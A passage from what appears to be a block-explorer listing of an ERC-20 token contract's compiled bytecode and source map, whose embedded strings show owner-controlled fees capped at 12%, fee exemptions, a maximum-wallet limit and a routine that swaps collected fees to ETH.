90030181865afa158015611126573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061114a919061197c565b8160018151811061115d5761115d611966565b6001600160a01b0392831660209182029290920101526016546111839130911684610b74565b60165460405163791ac94760e01b81526001600160a01b039091169063791ac947906111bc908590600090869030904290600401611999565b600060405180830381600087803b1580156111d657600080fd5b505af11580156111ea573d6000803e3d6000fd5b505050505050565b6040516001600160a01b0383169082156108fc029083906000818181858888f19350505050158015610809573d6000803e3d6000fd5b600d541580156112385750600e54155b80156112445750600f54155b1561124b57565b600e8054601155600f8054601255600d80546010556000928390559082905555565b600080611279836113b0565b6001600160a01b038716600090815260036020526040902054919350915060ff1680156112c057506013546001600160a01b03861660009081526001602052604090205411155b156112d5575060006112d28284611a0a565b92505b6001600160a01b0385166000908152600160205260409020546112f890846113ee565b6001600160a01b0380871660009081526001602052604080822093909355908616815220546113279083610fda565b6001600160a01b0385166000908152600160205260408082209290925530815220546113539082610fda565b3060009081526001602090815260409182902092909255518381526001600160a01b0386811692908816917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050505050565b60008060006113d560646113cf600d54876113fa90919063ffffffff16565b90611406565b905060006113e385836113ee565b959194509092505050565b6000610fe68284611a0a565b6000610fe68284611930565b6000610fe68284611a1d565b600060208083528351808285015260005b8181101561143f57858101830151858201604001528201611423565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461147557600080fd5b50565b6000806040838503121561148b57600080fd5b823561149681611460565b946020939093013593505050565b6000806000606084860312156114b957600080fd5b83356114c481611460565b925060208401356114d481611460565b929592945050506040919091013590565b6000602082840312156114f757600080fd5b8135610fe681611460565b634e487b7160e01b600052604160045260246000fd5b600082601f83011261152957600080fd5b813567ffffffffffffffff8082111561154457611544611502565b604051601f8301601f19908116603f0116810190828211818310171561156c5761156c611502565b8160405283815286602085880101111561158557600080fd5b836020870160208301376000602085830101528094505050505092915050565b600080604083850312156115b857600080fd5b823567ffffffffffffffff808211156115d057600080fd5b6115dc86838701611518565b935060208501359150808211156115f257600080fd5b506115ff85828601611518565b9150509250929050565b6000806040838503121561161c57600080fd5b50508035926020909101359150565b60006020828403121561163d57600080fd5b5035919050565b60006020828403121561165657600080fd5b81358015158114610fe657600080fd5b6000806040838503121561167957600080fd5b823561168481611460565b9150602083013561169481611460565b809150509250929050565b600181811c908216806116b357607f821691505b6020821081036116d357634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b601f82111561080957600081815260208120601f850160051c810160208610156117355750805b601f850160051c820191505b818110156111ea57828155600101611741565b815167ffffffffffffffff81111561176e5761176e611502565b6117828161177c845461169f565b8461170e565b602080601f8311600181146117b7576000841561179f5750858301515b600019600386901b1c1916600185901b1785556111ea565b600085815260208120601f198616915b828110156117e6578886015182559484019460019091019084016117c7565b50858210156118045787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b808201808211156106ca576106ca611814565b600181815b8085111561187857816000190482111561185e5761185e611814565b8085161561186b57918102915b93841c9390800290611842565b509250929050565b60008261188f575060016106ca565b8161189c575060006106ca565b81600181146118b257600281146118bc576118d8565b60019150506106ca565b60ff8411156118cd576118cd611814565b50506001821b6106ca565b5060208310610133831016604e8410600b84101617156118fb575081810a6106ca565b611905838361183d565b806000190482111561191957611919611814565b029392505050565b6000610fe660ff841683611880565b80820281158282048414176106ca576106ca611814565b600060ff821660ff810361195d5761195d611814565b60010192915050565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561198e57600080fd5b8151610fe681611460565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119e95784516001600160a01b0316835293830193918301916001016119c4565b50506001600160a01b03969096166060850152505050608001529392505050565b818103818111156106ca576106ca611814565b600082611a3a57634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220572fbd2d36a214fa5421ef45505c3aecc6106487009b767e779463bffcbe12ca64736f6c63430008130033
Deployed Bytecode
0x6080604052600436106101e75760003560e01c8063590f897e116101025780639422018411610095578063a9059cbb11610064578063a9059cbb14610581578063dd62ed3e146105a1578063ea2f0b37146105e7578063f2fde38b1461060757600080fd5b8063942201841461050c57806395d89b411461052c578063a457c2d714610541578063a514a07d1461056157600080fd5b8063751039fc116100d1578063751039fc14610493578063768dc710146104a857806378109e54146104d85780638da5cb5b146104ee57600080fd5b8063590f897e1461041257806367cbd84c1461042857806370a0823114610448578063715018a61461047e57600080fd5b806323b872dd1161017a578063437823ec11610149578063437823ec1461038f57806349bd5a5e146103b15780634a4f9701146103d15780634a74bb02146103f157600080fd5b806323b872dd14610317578063313ce56714610337578063395093511461035957806340b9a54b1461037957600080fd5b806313fad07a116101b657806313fad07a146102885780631694505e146102a957806318160ddd146102e1578063220f6696146102f657600080fd5b806306fdde03146101f3578063095ea7b31461021e57806309fbb48b1461024e5780631277ce851461027257600080fd5b366101ee57005b600080fd5b3480156101ff57600080fd5b50610208610627565b6040516102159190611412565b60405180910390f35b34801561022a57600080fd5b5061023e610239366004611478565b6106b9565b6040519015158152602001610215565b34801561025a57600080fd5b5061026460145481565b604051908152602001610215565b34801561027e57600080fd5b50610264600c5481565b34801561029457600080fd5b5060175461023e90600160b01b900460ff1681565b3480156102b557600080fd5b506016546102c9906001600160a01b031681565b6040516001600160a01b039091168152602001610215565b3480156102ed57600080fd5b50600954610264565b34801561030257600080fd5b5060175461023e90600160a01b900460ff1681565b34801561032357600080fd5b5061023e6103323660046114a4565b6106d0565b34801561034357600080fd5b5060085460405160ff9091168152602001610215565b34801561036557600080fd5b5061023e610374366004611478565b610739565b34801561038557600080fd5b50610264600e5481565b34801561039b57600080fd5b506103af6103aa3660046114e5565b61076f565b005b3480156103bd57600080fd5b506017546102c9906001600160a01b031681565b3480156103dd57600080fd5b506103af6103ec3660046115a5565b6107c6565b3480156103fd57600080fd5b5060175461023e90600160a81b900460ff1681565b34801561041e57600080fd5b50610264600f5481565b34801561043457600080fd5b506103af610443366004611609565b61080e565b34801561045457600080fd5b506102646104633660046114e5565b6001600160a01b031660009081526001602052604090205490565b34801561048a57600080fd5b506103af61089b565b34801561049f57600080fd5b506103af61090f565b3480156104b457600080fd5b5061023e6104c33660046114e5565b60036020526000908152604090205460ff1681565b3480156104e457600080fd5b5061026460135481565b3480156104fa57600080fd5b506000546001600160a01b03166102c9565b34801561051857600080fd5b506103af61052736600461162b565b610941565b34801561053857600080fd5b5061020861098c565b34801561054d57600080fd5b5061023e61055c366004611478565b61099b565b34801561056d57600080fd5b506103af61057c366004611644565b6109ea565b34801561058d57600080fd5b5061023e61059c366004611478565b610a32565b3480156105ad57600080fd5b506102646105bc366004611666565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b3480156105f357600080fd5b506103af6106023660046114e5565b610a3f565b34801561061357600080fd5b506103af6106223660046114e5565b610a8a565b6060600680546106369061169f565b80601f01602080910402602001604051908101604052809291908181526020018280546106629061169f565b80156106af5780601f10610684576101008083540402835291602001916106af565b820191906000526020600020905b81548152906001019060200180831161069257829003601f168201915b5050505050905090565b60006106c6338484610b74565b5060015b92915050565b60006106dd848484610c35565b61072f843361072a85604051806060016040528060288152602001611a40602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610fae565b610b74565b5060019392505050565b3360008181526002602090815260408083206001600160a01b038716845290915281205490916106c691859061072a9086610fda565b6000546001600160a01b031633146107a25760405162461bcd60e51b8152600401610799906116d9565b60405180910390fd5b6001600160a01b03166000908152600360205260409020805460ff19166001179055565b6000546001600160a01b031633146107f05760405162461bcd60e51b8152600401610799906116d9565b60066107fc8382611754565b5060076108098282611754565b505050565b6000546001600160a01b031633146108385760405162461bcd60e51b8152600401610799906116d9565b600c54610845828461182a565b11156108935760405162461bcd60e51b815260206004820152601a60248201527f43616e6e6f7420696e6372656173652061626f7665203132252e0000000000006044820152606401610799565b600f55600e55565b6000546001600160a01b031633146108c55760405162461bcd60e51b8152600401610799906116d9565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146109395760405162461bcd60e51b8152600401610799906116d9565b600019601355565b6000546001600160a01b0316331461096b5760405162461bcd60e51b8152600401610799906116d9565b60085461097c9060ff16600a611921565b6109869082611930565b60135550565b6060600780546106369061169f565b60006106c6338461072a85604051806060016040528060258152602001611a68602591393360009081526002602090815260408083206001600160a01b038d1684529091529020549190610fae565b6000546001600160a01b03163314610a145760405162461bcd60e51b8152600401610799906116d9565b60178054911515600160b01b0260ff60b01b19909216919091179055565b60006106c6338484610c35565b6000546001600160a01b03163314610a695760405162461bcd60e51b8152600401610799906116d9565b6001600160a01b03166000908152600360205260409020805460ff19169055565b6000546001600160a01b03163314610ab45760405162461bcd60e51b8152600401610799906116d9565b6001600160a01b038116610b195760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610799565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b03831615801590610b9457506001600160a01b03821615155b610bd45760405162461bcd60e51b81526020600482015260116024820152704552523a207a65726f206164647265737360781b6044820152606401610799565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6000546001600160a01b03838116911614801590610c6157506004546001600160a01b03838116911614155b8015610c7657506001600160a01b0382163014155b8015610c9057506017546001600160a01b03838116911614155b8015610caa57506005546001600160a01b03838116911614155b8015610cc457506000546001600160a01b03848116911614155b15610d50576001600160a01b038216600090815260016020526040902054601354610cef838361182a565b1115610d4e5760405162461bcd60e51b815260206004820152602860248201527f4d6178696d756d2077616c6c6574206c696d6974656420686173206265656e20604482015267195e18d95959195960c21b6064820152608401610799565b505b6001600160a01b03831615801590610d7057506001600160a01b03821615155b610db45760405162461bcd60e51b81526020600482015260156024820152744552523a205573696e67203020616464726573732160581b6044820152606401610799565b60008111610e125760405162461bcd60e51b815260206004820152602560248201527f546f6b656e2076616c7565206d75737420626520686967686572207468616e206044820152643d32b9379760d91b6064820152608401610799565b600b5460ff61010082048116911610801590610e2f575060145481115b8015610e455750601754600160a01b900460ff16155b8015610e6a57506001600160a01b03831660009081526003602052604090205460ff16155b8015610e8357506017546001600160a01b038381169116145b8015610e985750601754600160a81b900460ff165b15610ec857600b805460ff19169055306000908152600160205260409020548015610ec657610ec681610fed565b505b6001600160a01b03831660009081526003602052604090205460019060ff1680610f0a57506001600160a01b03831660009081526003602052604090205460ff165b80610f515750601754600160b01b900460ff168015610f3757506017546001600160a01b03858116911614155b8015610f5157506017546001600160a01b03848116911614155b15610f5e57506000610f9c565b6017546001600160a01b0390811690851603610f7f57600e54600d55610f9c565b6017546001600160a01b0390811690841603610f9c57600f54600d555b610fa884848484611032565b50505050565b60008184841115610fd25760405162461bcd60e51b81526004016107999190611412565b505050900390565b6000610fe6828461182a565b9392505050565b6017805460ff60a01b1916600160a01b17905561100981611098565b6004544790611021906001600160a01b0316826111f2565b50506017805460ff60a01b19169055565b806110445761103f611228565b611071565b600b805460ff1690600061105783611947565b91906101000a81548160ff021916908360ff160217905550505b61107c84848461126d565b80610fa857610fa8601054600d55601154600e55601254600f55565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106110cd576110cd611966565b6001600160a01b03928316602091820292909201810191909152601654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611126573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061114a919061197c565b8160018151811061115d5761115d611966565b6001600160a01b0392831660209182029290920101526016546111839130911684610b74565b60165460405163791ac94760e01b81526001600160a01b039091169063791ac947906111bc908590600090869030904290600401611999565b600060405180830381600087803b1580156111d657600080fd5b505af11580156111ea573d6000803e3d6000fd5b505050505050565b6040516001600160a01b0383169082156108fc029083906000818181858888f19350505050158015610809573d6000803e3d6000fd5b600d541580156112385750600e54155b80156112445750600f54155b1561124b57565b600e8054601155600f8054601255600d80546010556000928390559082905555565b600080611279836113b0565b6001600160a01b038716600090815260036020526040902054919350915060ff1680156112c057506013546001600160a01b03861660009081526001602052604090205411155b156112d5575060006112d28284611a0a565b92505b6001600160a01b0385166000908152600160205260409020546112f890846113ee565b6001600160a01b0380871660009081526001602052604080822093909355908616815220546113279083610fda565b6001600160a01b0385166000908152600160205260408082209290925530815220546113539082610fda565b3060009081526001602090815260409182902092909255518381526001600160a01b0386811692908816917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050505050565b60008060006113d560646113cf600d54876113fa90919063ffffffff16565b90611406565b905060006113e385836113ee565b959194509092505050565b6000610fe68284611a0a565b6000610fe68284611930565b6000610fe68284611a1d565b600060208083528351808285015260005b8181101561143f57858101830151858201604001528201611423565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461147557600080fd5b50565b6000806040838503121561148b57600080fd5b823561149681611460565b946020939093013593505050565b6000806000606084860312156114b957600080fd5b83356114c481611460565b925060208401356114d481611460565b929592945050506040919091013590565b6000602082840312156114f757600080fd5b8135610fe681611460565b634e487b7160e01b600052604160045260246000fd5b600082601f83011261152957600080fd5b813567ffffffffffffffff8082111561154457611544611502565b604051601f8301601f19908116603f0116810190828211818310171561156c5761156c611502565b8160405283815286602085880101111561158557600080fd5b836020870160208301376000602085830101528094505050505092915050565b600080604083850312156115b857600080fd5b823567ffffffffffffffff808211156115d057600080fd5b6115dc86838701611518565b935060208501359150808211156115f257600080fd5b506115ff85828601611518565b9150509250929050565b6000806040838503121561161c57600080fd5b50508035926020909101359150565b60006020828403121561163d57600080fd5b5035919050565b60006020828403121561165657600080fd5b81358015158114610fe657600080fd5b6000806040838503121561167957600080fd5b823561168481611460565b9150602083013561169481611460565b809150509250929050565b600181811c908216806116b357607f821691505b6020821081036116d357634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b601f82111561080957600081815260208120601f850160051c810160208610156117355750805b601f850160051c820191505b818110156111ea57828155600101611741565b815167ffffffffffffffff81111561176e5761176e611502565b6117828161177c845461169f565b8461170e565b602080601f8311600181146117b7576000841561179f5750858301515b600019600386901b1c1916600185901b1785556111ea565b600085815260208120601f198616915b828110156117e6578886015182559484019460019091019084016117c7565b50858210156118045787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b808201808211156106ca576106ca611814565b600181815b8085111561187857816000190482111561185e5761185e611814565b8085161561186b57918102915b93841c9390800290611842565b509250929050565b60008261188f575060016106ca565b8161189c575060006106ca565b81600181146118b257600281146118bc576118d8565b60019150506106ca565b60ff8411156118cd576118cd611814565b50506001821b6106ca565b5060208310610133831016604e8410600b84101617156118fb575081810a6106ca565b611905838361183d565b806000190482111561191957611919611814565b029392505050565b6000610fe660ff841683611880565b80820281158282048414176106ca576106ca611814565b600060ff821660ff810361195d5761195d611814565b60010192915050565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561198e57600080fd5b8151610fe681611460565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119e95784516001600160a01b0316835293830193918301916001016119c4565b50506001600160a01b03969096166060850152505050608001529392505050565b818103818111156106ca576106ca611814565b600082611a3a57634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220572fbd2d36a214fa5421ef45505c3aecc6106487009b767e779463bffcbe12ca64736f6c63430008130033
Deployed Bytecode Sourcemap
8021:11174:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11027:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11858:161;;;;;;;;;;-1:-1:-1;11858:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;11858:161:0;1023:187:1;9661:47:0;;;;;;;;;;;;;;;;;;;1361:25:1;;;1349:2;1334:18;9661:47:0;1215:177:1;9129:34:0;;;;;;;;;;;;;;;;13859;;;;;;;;;;-1:-1:-1;13859:34:0;;;;-1:-1:-1;;;13859:34:0;;;;;;9860:41;;;;;;;;;;-1:-1:-1;9860:41:0;;;;-1:-1:-1;;;;;9860:41:0;;;;;;-1:-1:-1;;;;;1587:32:1;;;1569:51;;1557:2;1542:18;9860:41:0;1397:229:1;11304:95:0;;;;;;;;;;-1:-1:-1;11384:7:0;;11304:95;;9943:28;;;;;;;;;;-1:-1:-1;9943:28:0;;;;-1:-1:-1;;;9943:28:0;;;;;;12027:313;;;;;;;;;;-1:-1:-1;12027:313:0;;;;;:::i;:::-;;:::i;11213:83::-;;;;;;;;;;-1:-1:-1;11279:9:0;;11213:83;;11279:9;;;;2234:36:1;;2222:2;2207:18;11213:83:0;2092:184:1;12348:218:0;;;;;;;;;;-1:-1:-1;12348:218:0;;;;;:::i;:::-;;:::i;9244:26::-;;;;;;;;;;;;;;;;13021:111;;;;;;;;;;-1:-1:-1;13021:111:0;;;;;:::i;:::-;;:::i;:::-;;9908:28;;;;;;;;;;-1:-1:-1;9908:28:0;;;;-1:-1:-1;;;;;9908:28:0;;;13398:173;;;;;;;;;;-1:-1:-1;13398:173:0;;;;;:::i;:::-;;:::i;9978:40::-;;;;;;;;;;-1:-1:-1;9978:40:0;;;;-1:-1:-1;;;9978:40:0;;;;;;9277:27;;;;;;;;;;;;;;;;13579:231;;;;;;;;;;-1:-1:-1;13579:231:0;;;;;:::i;:::-;;:::i;11407:117::-;;;;;;;;;;-1:-1:-1;11407:117:0;;;;;:::i;:::-;-1:-1:-1;;;;;11500:16:0;11473:7;11500:16;;;:7;:16;;;;;;;11407:117;6178:148;;;;;;;;;;;;;:::i;15094:91::-;;;;;;;;;;;;;:::i;8301:51::-;;;;;;;;;;-1:-1:-1;8301:51:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;9604:50;;;;;;;;;;;;;;;;5861:87;;;;;;;;;;-1:-1:-1;5907:7:0;5934:6;-1:-1:-1;;;;;5934:6:0;5861:87;;14104:146;;;;;;;;;;-1:-1:-1;14104:146:0;;;;;:::i;:::-;;:::i;11118:87::-;;;;;;;;;;;;;:::i;12574:269::-;;;;;;;;;;-1:-1:-1;12574:269:0;;;;;:::i;:::-;;:::i;13900:125::-;;;;;;;;;;-1:-1:-1;13900:125:0;;;;;:::i;:::-;;:::i;11532:167::-;;;;;;;;;;-1:-1:-1;11532:167:0;;;;;:::i;:::-;;:::i;11707:143::-;;;;;;;;;;-1:-1:-1;11707:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;11815:18:0;;;11788:7;11815:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;11707:143;13212:110;;;;;;;;;;-1:-1:-1;13212:110:0;;;;;:::i;:::-;;:::i;6382:244::-;;;;;;;;;;-1:-1:-1;6382:244:0;;;;;:::i;:::-;;:::i;11027:83::-;11064:13;11097:5;11090:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11027:83;:::o;11858:161::-;11933:4;11950:39;1148:10;11973:7;11982:6;11950:8;:39::i;:::-;-1:-1:-1;12007:4:0;11858:161;;;;;:::o;12027:313::-;12125:4;12142:36;12152:6;12160:9;12171:6;12142:9;:36::i;:::-;12189:121;12198:6;1148:10;12220:89;12258:6;12220:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;12220:19:0;;;;;;:11;:19;;;;;;;;1148:10;12220:33;;;;;;;;;;:37;:89::i;:::-;12189:8;:121::i;:::-;-1:-1:-1;12328:4:0;12027:313;;;;;:::o;12348:218::-;1148:10;12436:4;12485:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;12485:34:0;;;;;;;;;;12436:4;;12453:83;;12476:7;;12485:50;;12524:10;12485:38;:50::i;13021:111::-;5907:7;5934:6;-1:-1:-1;;;;;5934:6:0;1148:10;6046:23;6038:68;;;;-1:-1:-1;;;6038:68:0;;;;;;;:::i;:::-;;;;;;;;;-1:-1:-1;;;;;13090:27:0::1;;::::0;;;:18:::1;:27;::::0;;;;:34;;-1:-1:-1;;13090:34:0::1;13120:4;13090:34;::::0;;13021:111::o;13398:173::-;5907:7;5934:6;-1:-1:-1;;;;;5934:6:0;1148:10;6046:23;6038:68;;;;-1:-1:-1;;;6038:68:0;;;;;;;:::i;:::-;13518:5:::1;:15;13526:7:::0;13518:5;:15:::1;:::i;:::-;-1:-1:-1::0;13544:7:0::1;:19;13554:9:::0;13544:7;:19:::1;:::i;:::-;;13398:173:::0;;:::o;13579:231::-;5907:7;5934:6;-1:-1:-1;;;;;5934:6:0;1148:10;6046:23;6038:68;;;;-1:-1:-1;;;6038:68:0;;;;;;;:::i;:::-;13697:14:::1;::::0;13674:18:::1;13684:8:::0;13674:7;:18:::1;:::i;:::-;13673:38;;13665:77;;;::::0;-1:-1:-1;;;13665:77:0;;8668:2:1;13665:77:0::1;::::0;::::1;8650:21:1::0;8707:2;8687:18;;;8680:30;8746:28;8726:18;;;8719:56;8792:18;;13665:77:0::1;8466:350:1::0;13665:77:0::1;13753:8;:19:::0;13783:7:::1;:17:::0;13579:231::o;6178:148::-;5907:7;5934:6;-1:-1:-1;;;;;5934:6:0;1148:10;6046:23;6038:68;;;;-1:-1:-1;;;6038:68:0;;;;;;;:::i;:::-;6285:1:::1;6269:6:::0;;6248:40:::1;::::0;-1:-1:-1;;;;;6269:6:0;;::::1;::::0;6248:40:::1;::::0;6285:1;;6248:40:::1;6316:1;6299:19:::0;;-1:-1:-1;;;;;;6299:19:0::1;::::0;;6178:148::o;15094:91::-;5907:7;5934:6;-1:-1:-1;;;;;5934:6:0;1148:10;6046:23;6038:68;;;;-1:-1:-1;;;6038:68:0;;;;;;;:::i;:::-;-1:-1:-1;;15148:15:0::1;:29:::0;15094:91::o;14104:146::-;5907:7;5934:6;-1:-1:-1;;;;;5934:6:0;1148:10;6046:23;6038:68;;;;-1:-1:-1;;;6038:68:0;;;;;;;:::i;:::-;14232:9:::1;::::0;14228:13:::1;::::0;14232:9:::1;;14228:2;:13;:::i;:::-;14210:32;::::0;:14;:32:::1;:::i;:::-;14192:15;:50:::0;-1:-1:-1;14104:146:0:o;11118:87::-;11157:13;11190:7;11183:14;;;;;:::i;12574:269::-;12667:4;12684:129;1148:10;12707:7;12716:96;12755:15;12716:96;;;;;;;;;;;;;;;;;1148:10;12716:25;;;;:11;:25;;;;;;;;-1:-1:-1;;;;;12716:34:0;;;;;;;;;;;;:38;:96::i;13900:125::-;5907:7;5934:6;-1:-1:-1;;;;;5934:6:0;1148:10;6046:23;6038:68;;;;-1:-1:-1;;;6038:68:0;;;;;;;:::i;:::-;13986:15:::1;:31:::0;;;::::1;;-1:-1:-1::0;;;13986:31:0::1;-1:-1:-1::0;;;;13986:31:0;;::::1;::::0;;;::::1;::::0;;13900:125::o;11532:167::-;11610:4;11627:42;1148:10;11651:9;11662:6;11627:9;:42::i;13212:110::-;5907:7;5934:6;-1:-1:-1;;;;;5934:6:0;1148:10;6046:23;6038:68;;;;-1:-1:-1;;;6038:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;13279:27:0::1;13309:5;13279:27:::0;;;:18:::1;:27;::::0;;;;:35;;-1:-1:-1;;13279:35:0::1;::::0;;13212:110::o;6382:244::-;5907:7;5934:6;-1:-1:-1;;;;;5934:6:0;1148:10;6046:23;6038:68;;;;-1:-1:-1;;;6038:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;6471:22:0;::::1;6463:73;;;::::0;-1:-1:-1;;;6463:73:0;;10579:2:1;6463:73:0::1;::::0;::::1;10561:21:1::0;10618:2;10598:18;;;10591:30;10657:34;10637:18;;;10630:62;-1:-1:-1;;;10708:18:1;;;10701:36;10754:19;;6463:73:0::1;10377:402:1::0;6463:73:0::1;6573:6;::::0;;6552:38:::1;::::0;-1:-1:-1;;;;;6552:38:0;;::::1;::::0;6573:6;::::1;::::0;6552:38:::1;::::0;::::1;6601:6;:17:::0;;-1:-1:-1;;;;;;6601:17:0::1;-1:-1:-1::0;;;;;6601:17:0;;;::::1;::::0;;;::::1;::::0;;6382:244::o;14820:266::-;-1:-1:-1;;;;;14915:19:0;;;;;;:44;;-1:-1:-1;;;;;;14938:21:0;;;;14915:44;14907:74;;;;-1:-1:-1;;;14907:74:0;;10986:2:1;14907:74:0;;;10968:21:1;11025:2;11005:18;;;10998:30;-1:-1:-1;;;11044:18:1;;;11037:47;11101:18;;14907:74:0;10784:341:1;14907:74:0;-1:-1:-1;;;;;14992:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;15044:32;;1361:25:1;;;15044:32:0;;1334:18:1;15044:32:0;;;;;;;14820:266;;;:::o;15193:1731::-;5907:7;5934:6;-1:-1:-1;;;;;15429:13:0;;;5934:6;;15429:13;;;;:46;;-1:-1:-1;15465:10:0;;-1:-1:-1;;;;;15459:16:0;;;15465:10;;15459:16;;15429:46;:82;;;;-1:-1:-1;;;;;;15492:19:0;;15506:4;15492:19;;15429:82;:118;;;;-1:-1:-1;15534:13:0;;-1:-1:-1;;;;;15528:19:0;;;15534:13;;15528:19;;15429:118;:152;;;;-1:-1:-1;15570:11:0;;-1:-1:-1;;;;;15564:17:0;;;15570:11;;15564:17;;15429:152;:184;;;;-1:-1:-1;5907:7:0;5934:6;-1:-1:-1;;;;;15598:15:0;;;5934:6;;15598:15;;15429:184;15425:366;;;-1:-1:-1;;;;;11500:16:0;;15631:18;11500:16;;;:7;:16;;;;;;15713:15;;15689:19;15702:6;11500:16;15689:19;:::i;:::-;15688:40;;15680:92;;;;-1:-1:-1;;;15680:92:0;;11332:2:1;15680:92:0;;;11314:21:1;11371:2;11351:18;;;11344:30;11410:34;11390:18;;;11383:62;-1:-1:-1;;;11461:18:1;;;11454:38;11509:19;;15680:92:0;11130:404:1;15680:92:0;15614:177;15425:366;-1:-1:-1;;;;;15811:18:0;;;;;;:38;;-1:-1:-1;;;;;;15833:16:0;;;;15811:38;15803:72;;;;-1:-1:-1;;;15803:72:0;;11741:2:1;15803:72:0;;;11723:21:1;11780:2;11760:18;;;11753:30;-1:-1:-1;;;11799:18:1;;;11792:51;11860:18;;15803:72:0;11539:345:1;15803:72:0;15903:1;15894:6;:10;15886:60;;;;-1:-1:-1;;;15886:60:0;;12091:2:1;15886:60:0;;;12073:21:1;12130:2;12110:18;;;12103:30;12169:34;12149:18;;;12142:62;-1:-1:-1;;;12220:18:1;;;12213:35;12265:19;;15886:60:0;11889:401:1;15886:60:0;16037:11;;;;;;;;16026:7;;:22;;;;:63;;;16075:14;;16066:6;:23;16026:63;:97;;;;-1:-1:-1;16107:16:0;;-1:-1:-1;;;16107:16:0;;;;16106:17;16026:97;:139;;;;-1:-1:-1;;;;;;16141:24:0;;;;;;:18;:24;;;;;;;;16140:25;16026:139;:175;;;;-1:-1:-1;16188:13:0;;-1:-1:-1;;;;;16182:19:0;;;16188:13;;16182:19;16026:175;:213;;;;-1:-1:-1;16218:21:0;;-1:-1:-1;;;16218:21:0;;;;16026:213;16009:474;;;16282:7;:11;;-1:-1:-1;;16282:11:0;;;16357:4;-1:-1:-1;11500:16:0;;;-1:-1:-1;11500:16:0;;;;;;16381:24;;16378:94;;16421:36;16436:20;16421:14;:36::i;:::-;16265:218;16009:474;-1:-1:-1;;;;;16549:24:0;;16505:12;16549:24;;;:18;:24;;;;;;16520:4;;16549:24;;;:50;;-1:-1:-1;;;;;;16577:22:0;;;;;;:18;:22;;;;;;;;16549:50;:119;;;-1:-1:-1;16604:15:0;;-1:-1:-1;;;16604:15:0;;;;:40;;;;-1:-1:-1;16631:13:0;;-1:-1:-1;;;;;16623:21:0;;;16631:13;;16623:21;;16604:40;:63;;;;-1:-1:-1;16654:13:0;;-1:-1:-1;;;;;16648:19:0;;;16654:13;;16648:19;;16604:63;16546:320;;;-1:-1:-1;16694:5:0;16546:320;;;16729:13;;-1:-1:-1;;;;;16729:13:0;;;16721:21;;;;16717:149;;16770:7;;16758:9;:19;16717:149;;;16805:13;;-1:-1:-1;;;;;16805:13:0;;;16799:19;;;;16795:71;;16846:8;;16834:9;:20;16795:71;16878:38;16893:4;16898:2;16901:6;16908:7;16878:14;:38::i;:::-;15296:1628;15193:1731;;;:::o;1756:206::-;1842:7;1903:12;1895:6;;;;1887:29;;;;-1:-1:-1;;;1887:29:0;;;;;;;;:::i;:::-;-1:-1:-1;;;1938:5:0;;;1756:206::o;1328:98::-;1386:7;1413:5;1417:1;1413;:5;:::i;:::-;1406:12;1328:98;-1:-1:-1;;;1328:98